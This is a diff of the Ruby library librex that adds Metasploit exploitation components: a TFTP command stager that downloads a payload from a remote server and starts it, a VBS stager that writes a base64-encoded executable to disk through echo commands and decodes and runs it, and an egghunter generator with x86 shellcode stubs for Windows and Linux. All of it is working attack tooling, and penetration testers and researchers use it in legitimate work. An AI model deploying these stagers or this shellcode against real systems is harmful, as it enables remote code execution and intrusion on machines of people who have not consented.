librex 0.0.18 → 0.0.19

data/lib/rex/exploitation/cmdstager/tftp.rb

@@ -0,0 +1,63 @@
+##
+# $Id: tftp.rb 10169 2010-08-27 17:23:47Z jduck $
+##
+
+require 'rex/text'
+require 'rex/arch'
+require 'msf/core/framework'
+
+module Rex
+module Exploitation
+
+###
+#
+# This class provides the ability to create a sequence of commands from an executable.
+# When this sequence is ran via command injection or a shell, the resulting exe will
+# be written to disk and executed.
+#
+# This particular version uses tftp.exe to download a binary from the specified
+# server.  The original file is preserve, not encoded at all, and so this version
+# is significantly simpler than other methods.
+#
+# Requires: tftp.exe, outbound udp connectivity to a tftp server
+#
+# Written by Joshua J. Drake
+#
+###
+
+class CmdStagerTFTP < CmdStagerBase
+
+	def initialize(exe)
+		super
+
+		@payload_exe = Rex::Text.rand_text_alpha(8) + ".exe"
+	end
+
+
+	#
+	# We override compress commands just to stick in a few extra commands
+	# last second..
+	#
+	def compress_commands(cmds, opts)
+		# Initiate the download
+		cmds << "tftp -i #{opts[:tftphost]} GET #{opts[:transid]} #{@tempdir + @payload_exe}"
+
+		# Make it all happen
+		cmds << "start #{@tempdir + @payload_exe}"
+
+		# Clean up after unless requested not to..
+		if (not opts[:nodelete])
+			# XXX: We won't be able to delete the payload while it is running..
+		end
+
+		super
+	end
+
+	# NOTE: We don't use a concatenation operator here since we only have a couple commands.
+	# There really isn't any need to combine them. Also, the ms01_026 exploit depends on
+	# the start command being issued separately so that it can ignore it :)
+
+	attr_reader :payload_exe
+end
+end
+end

data/lib/rex/exploitation/cmdstager/vbs.rb

@@ -0,0 +1,128 @@
+##
+# $Id$
+##
+
+require 'rex/text'
+require 'rex/arch'
+require 'msf/core/framework'
+
+module Rex
+module Exploitation
+
+###
+#
+# This class provides the ability to create a sequence of commands from an executable.
+# When this sequence is ran via command injection or a shell, the resulting exe will 
+# be written to disk and executed.
+#
+# This particular version uses Windows Scripting (VBS) to base64 decode a file,
+# created via echo >>, and decode it to the final binary.
+#
+# Requires: Windows Scripting
+# Known Issue: errors with non-ascii-native systems
+#
+# Written by bannedit
+#
+###
+
+class CmdStagerVBS < CmdStagerBase
+
+	def initialize(exe)
+		super
+
+		@var_decoder = Rex::Text.rand_text_alpha(5)
+		@var_encoded = Rex::Text.rand_text_alpha(5)
+		@var_decoded = Rex::Text.rand_text_alpha(5)
+		@decoder     = nil # filled in later
+	end
+
+
+	#
+	# Override just to set the extra byte count
+	#
+	def generate_cmds(opts)
+		# Set the start/end of the commands here (vs initialize) so we have @tempdir
+		@cmd_start = "echo "
+		@cmd_end   = ">>#{@tempdir}#{@var_encoded}.b64"
+		xtra_len = @cmd_start.length + @cmd_end.length + 1
+		opts.merge!({ :extra => xtra_len })
+		super
+	end
+
+
+	#
+	# Simple base64...
+	#
+	def encode_payload(opts)
+		Rex::Text.encode_base64(@exe)
+	end
+
+
+	#
+	# Combine the parts of the encoded file with the stuff that goes
+	# before / after it.
+	#
+	def parts_to_commands(parts, opts)
+
+		cmds = []
+		parts.each do |p|
+			cmd = ''
+			cmd << @cmd_start
+			cmd << p
+			cmd << @cmd_end
+			cmds << cmd
+		end
+
+		cmds
+	end
+
+
+	#
+	# Generate the commands that will decode the file we just created
+	#
+	def generate_cmds_decoder(opts)
+
+		# Allow decoder stub override (needs to input base64 and output bin)
+		@decoder = opts[:decoder] if (opts[:decoder])
+
+		# Read the decoder data file
+		f = File.new(@decoder, "rb")
+		decoder = f.read(f.stat.size)
+		f.close
+
+		# Replace variables
+		decoder.gsub!(/decode_stub/, "#{@tempdir}#{@var_decoder}.vbs")
+		decoder.gsub!(/ENCODED/, "#{@tempdir}#{@var_encoded}.b64")
+		decoder.gsub!(/DECODED/, "#{@tempdir}#{@var_decoded}.exe")
+
+		# Split it apart by the lines
+		decoder.split("\n")
+	end
+
+
+	#
+	# We override compress commands just to stick in a few extra commands
+	# last second..
+	#
+	def compress_commands(cmds, opts)
+		# Make it all happen
+		cmds << "cscript //nologo #{@tempdir}#{@var_decoder}.vbs"
+
+		# Clean up after unless requested not to..
+		if (not opts[:nodelete])
+			cmds << "del #{@tempdir}#{@var_decoder}.vbs"
+			cmds << "del #{@tempdir}#{@var_encoded}.b64"
+			# NOTE: We won't be able to delete the exe while it's in use.
+		end
+
+		super
+	end
+
+	# Windows uses & to concat strings
+	def cmd_concat_operator
+		" & "
+	end
+
+end
+end
+end

data/lib/rex/exploitation/egghunter.rb

@@ -0,0 +1,277 @@
+require 'rex/text'
+require 'rex/arch'
+
+module Rex
+module Exploitation
+
+###
+#
+# This class provides an interface to generating egghunters.  Egghunters are
+# used to search process address space for a known byte sequence.  This is
+# useful in situations where there is limited room for a payload when an
+# overflow occurs, but it's possible to stick a larger payload somewhere else
+# in memory that may not be directly predictable.
+#
+# Original implementation by skape
+# (See http://www.hick.org/code/skape/papers/egghunt-shellcode.pdf)
+#
+# Checksum checking implemented by dijital1/corelanc0d3r
+# Checksum code merged to Egghunter by jduck
+# Conversion to use Metasm by jduck
+# Startreg code added by corelanc0d3r
+#
+###
+class Egghunter
+
+	###
+	#
+	# Windows-based egghunters
+	#
+	###
+	module Windows
+		Alias = "win"
+
+		module X86
+			Alias = ARCH_X86
+
+			#
+			# The egg hunter stub for win/x86.
+			#
+			def hunter_stub(payload, badchars = '', opts = {})
+
+				startreg = opts[:startreg]
+
+				raise RuntimeError, "Invalid egg string! Need #{esize} bytes." if opts[:eggtag].length != 4
+				marker = "0x%x" % opts[:eggtag].unpack('V').first
+
+				checksum = checksum_stub(payload, badchars, opts)
+
+				startstub = ''
+				if startreg
+					if startreg.downcase != 'edx'
+						startstub = "\n\tmov edx,#{startreg}\n\tjmp next_addr"
+					else
+						startstub = "\n\tjmp next_addr"
+					end
+				end
+				startstub << "\n\t" if startstub.length > 0
+
+				assembly = <<EOS
+#{startstub}
+check_readable:
+	or dx,0xfff
+next_addr:
+	inc edx
+	push edx
+	push 0x02   ; use NtAccessCheckAndAuditAlarm syscall
+	pop eax
+	int 0x2e
+	cmp al,5
+	pop edx
+	je check_readable
+check_for_tag:
+	; check that the tag matches once
+	mov eax,#{marker}
+	mov edi,edx
+	scasd
+	jne next_addr
+	; it must match a second time too
+	scasd
+	jne next_addr
+
+	; check the checksum if the feature is enabled
+#{checksum}
+
+	; jump to the payload
+	jmp edi
+EOS
+
+				assembled_code = Metasm::Shellcode.assemble(Metasm::Ia32.new, assembly).encode_string
+
+				# return the stub
+				assembled_code
+			end
+
+		end
+	end
+
+	###
+	#
+	# Linux-based egghunters
+	#
+	###
+	module Linux
+		Alias = "linux"
+
+		module X86
+			Alias = ARCH_X86
+
+			#
+			# The egg hunter stub for linux/x86.
+			#
+			def hunter_stub(payload, badchars = '', opts = {})
+
+				startreg = opts[:startreg]
+
+				raise RuntimeError, "Invalid egg string! Need #{esize} bytes." if opts[:eggtag].length != 4
+				marker = "0x%x" % opts[:eggtag].unpack('V').first
+
+				checksum = checksum_stub(payload, badchars, opts)
+
+				startstub = ''
+				if startreg
+					if startreg.downcase != 'ecx'
+						startstub = "\n\tmov ecx,#{startreg}\n\tjmp next_addr"
+					else
+						startstub = "\n\tjmp next_addr"
+					end
+				end
+				startstub << "\n\t" if startstub.length > 0
+
+				assembly = <<EOS
+	cld
+#{startstub}
+check_readable:
+	or cx,0xfff
+next_addr:
+	inc ecx
+	push 0x43   ; use 'sigaction' syscall
+	pop eax
+	int 0x80
+	cmp al,0xf2
+	je check_readable
+
+check_for_tag:
+	; check that the tag matches once
+	mov eax,#{marker}
+	mov edi,ecx
+	scasd
+	jne next_addr
+	; it must match a second time too
+	scasd
+	jne next_addr
+
+	; check the checksum if the feature is enabled
+#{checksum}
+
+	; jump to the payload
+	jmp edi
+EOS
+
+				assembled_code = Metasm::Shellcode.assemble(Metasm::Ia32.new, assembly).encode_string
+
+				# return the stub
+				assembled_code
+			end
+
+		end
+	end
+
+	###
+	#
+	# Generic interface
+	#
+	###
+
+	#
+	# Creates a new egghunter instance and acquires the sub-class that should
+	# be used for generating the stub based on the supplied platform and
+	# architecture.
+	#
+	def initialize(platform, arch = nil)
+		Egghunter.constants.each { |c|
+			mod = self.class.const_get(c)
+
+			next if ((!mod.kind_of?(::Module)) or
+			         (!mod.const_defined?('Alias')))
+
+			if (platform =~ /#{mod.const_get('Alias')}/i)
+				self.extend(mod)
+
+				if (arch and mod)
+					mod.constants.each { |a|
+						amod = mod.const_get(a)
+
+						next if ((!amod.kind_of?(::Module)) or
+						         (!amod.const_defined?('Alias')))
+
+						if (arch =~ /#{mod.const_get(a).const_get('Alias')}/i)
+							amod = mod.const_get(a)
+
+							self.extend(amod)
+						end
+					}
+				end
+			end
+		}
+	end
+
+	#
+	# This method generates an egghunter using the derived hunter stub.
+	#
+	def generate(payload, badchars = '', opts = {})
+		# set defaults if options are missing
+
+		# NOTE: there is no guarantee this won't exist in memory, even when doubled.
+		# To address this, use the checksum feature :)
+		opts[:eggtag] ||= Rex::Text.rand_text(4, badchars)
+
+		# Generate the hunter_stub portion
+		return nil if ((hunter = hunter_stub(payload, badchars, opts)) == nil)
+
+		# Generate the marker bits to be prefixed to the real payload
+		egg = ''
+		egg << opts[:eggtag] * 2
+		egg << payload
+		if opts[:checksum]
+			cksum = 0
+			payload.each_byte { |b|
+				cksum += b
+			}
+			egg << [cksum & 0xff].pack('C')
+		end
+
+		return [ hunter, egg ]
+	end
+
+protected
+
+	#
+	# Stub method that is meant to be overridden.  It returns the raw stub that
+	# should be used as the egghunter.
+	#
+	def hunter_stub(payload, badchars = '', opts = {})
+	end
+
+	def checksum_stub(payload, badchars = '', opts = {})
+		return '' if not opts[:checksum]
+
+		if payload.length < 0x100
+			cmp_reg = "cl"
+		elsif payload.length < 0x10000
+			cmp_reg = "cx"
+		else
+			raise RuntimeError, "Payload too big!"
+		end
+		egg_size = "0x%x" % payload.length
+
+		checksum = <<EOS
+	push ecx
+	xor ecx,ecx
+	xor eax,eax
+calc_chksum_loop:
+	add al,byte [edi+ecx]
+	inc ecx
+	cmp #{cmp_reg},#{egg_size}
+	jnz calc_chksum_loop
+test_chksum:
+	cmp al,byte [edi+ecx]
+	pop ecx
+	jnz next_addr
+EOS
+	end
+
+end
+
+end
+end